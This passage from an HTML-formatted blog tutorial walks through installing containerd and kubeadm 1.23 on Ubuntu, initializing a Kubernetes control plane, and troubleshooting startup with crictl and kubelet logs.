data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -cs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-cache\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e madison\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.7-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.6-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.4-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.5.11-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.5.10-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe are going to use the latest version available which was 1.6.8-1\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io=1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen we will setup a configuration that enables containerd to use the systemd\ncgroup. We are hard coding this config instead of using \u003ccode\u003econtainerd config default\u003c/code\u003e\nbecause that currently has had a \u003ca href=\"https://github.com/containerd/containerd/issues/4574\"\u003ebug\u003c/a\u003e\nfor many years that generates an invalid config.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.service\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can verify it is running with ctr:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ctr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --address\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containers\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RUNTIME\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow that this is working we can move on to getting kubernetes installed!\u003c/p\u003e\n\u003ch2\u003eUsing kubeadm!\u003c/h2\u003e\n\u003cp\u003eNow we need to get the kubernetes tools installed onto the system. I am going to be using 1.23\nbut to find the latest version you can run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-cache\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e madison\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e http://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e amd64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.23.4-00\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e http://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e amd64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen install the version you want, we install kubelet and kubeadm here to make\nsure the versions align:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will pull in a few tools, including an alternative to \u003ccode\u003ectr\u003c/code\u003e that we used earlier called\n\u003ccode\u003ecrictl\u003c/code\u003e. You can check that it is available to you doing this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe can finally init our cluster:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce that finishes running it should give you some tips setup your configuration, it should look like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e mkdir\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cp\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/kubernetes/admin.conf\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e chown\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -u\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -g\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can run those on the master node for now, but later I will show you how to move\nthe config to your host computer.\u003c/p\u003e\n\u003cp\u003eNow you should be able to check that your node is not ready yet:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4m16s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003e\u003cem\u003eNote\u003c/em\u003e: If you receive \"The connection to the server was refused\" error,\nThe cluster starting up and getting all the dependencies running could take\na bit of time. So if you are not able to communicate right away you can check\nwhich pods are up and running with \u003ccode\u003ecrictl\u003c/code\u003e. You will need \u003ccode\u003ekube-apiserver\u003c/code\u003e up\nand running. If it is not you can check:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CREATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ATTEMPT\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e POD\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ID\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e POD\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e8322192c4605c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bd8cc6d582470\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 36\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e seconds\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 344c4f7fffbe8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e30ce27c40adb2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 81a4a8a4ac639\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-controller-manager\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 3a819c3a864b2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-controller-manager-controlplane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e7709fd5e92898\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bd8cc6d582470\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 7cc6922c82015\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e10432b81d7c61\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 3767741e7fba7\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-apiserver\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e e64ddf3679d98\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-apiserver-controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ewhich will show you pods that have exited. You can grab the container ID for\nkube-apiserver and read its logs:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e logs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10432b81d7c61\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThere are a few ways to figure out why the node is not ready yet. Usually I would check the\n\u003ccode\u003ekubelet\u003c/code\u003e logs first:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan 